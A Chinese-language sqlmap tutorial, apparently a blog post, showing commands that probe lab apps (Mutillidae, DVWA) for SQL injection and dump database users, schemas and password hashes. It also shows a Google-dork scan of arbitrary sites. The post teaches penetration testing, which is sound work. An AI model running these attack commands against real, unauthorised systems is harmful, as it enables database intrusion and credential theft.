1、更新
kali已经集成了sqlmap,一般情况下,不需要进行下载,可以更新或者查看版本:
#sqlmap --version //查看版本
#apt-get install git
#git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
#git pull //在已有kali上更新为github上的版本
#sqlmap --update //在线更新,在debian系统上安装的包使用此命令
2、使用
2.1 -h选项
sqlmap -h/hh,查看常用/全部命令
target类包括选项
2.2 -u选项
使用Mutillidae的sql注入进行测试:
#sqlmap -u "192.168.50.183/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f
-p username 表示只检查此链接中的username是否存在sql注入漏洞
-f 表示fingerprint,指纹信息,即数据库的具体版本等信息
查看.sqlmap/可查看相关探测的结果
保存探测结果
2.3 常用参数
- --user选项
sqlmap -u "192.168.50.183/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username --users
--users表示探测数据库账号
数据库账号
-
--banner 表示查看banner信息
banner
-
--dbs 表示有包含哪些数据库
包含哪些数据库
-
--schema 查询information schema元数据
-
--schema -a 查询所有数据库所有表
当发现表中有hash值会提示是否需要暴力破解,可以根据密码表破解密码
-a结果
-
-d 将sqlmap当做客户端工具探测
#sqlmap -d "mysql://user:password@192.168.50.183:3306/dvwa" -f --users
--banner --dbs --schema -a
#sqlmap -d "mysql://root@192.168.50.183:3306/dvwa" -f --users
--banner --dbs --schema -a
## sqlmap -d "mysql://root:@192.168.1.183:3306/dvwa" -f --users //如果密码是空密码的话,有时需要加上冒号,否则会报语法错误
- -m list.txt 将多个链接写入文件中扫描
#sqlmap -m list.txt --dbs
- 扫描google搜索结果
sqlmap.py -g "inurl:\".php?id=1\""
2.4 POST方法
2.4.1 使用http请求文件
通过burpsuite将请求文件保存至post.txt,先打开burpsuite,将请求的报文复制,并用gedit编辑器打开空文件post.txt,粘贴进post.txt,然后使用sqlmap -r参数探测此文件中的链接:
1.burpsuite截包
2.gedit粘贴请求报文
第3步,使用sqlmap探测
# sqlmap -r post.txt --dbs
2.4.2 使用burpsuite log文件
首先通过“user options”--->“Misc”--->“logging”,将proxy的request的勾选上,然后选择需要保存的文件名及位置,设置浏览器代理后访问页面:
burpsuite设置log
访问页面后,通过sqlmap -l,进行探测
burpsuite代理log文件
#sqlmap -l burpsqlmap.txt -p username //执行burp的proxy代理log日志探测
2.4.3 ssl探测
使用--force-ssl选项,扫描探测https的链接
sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl








网友评论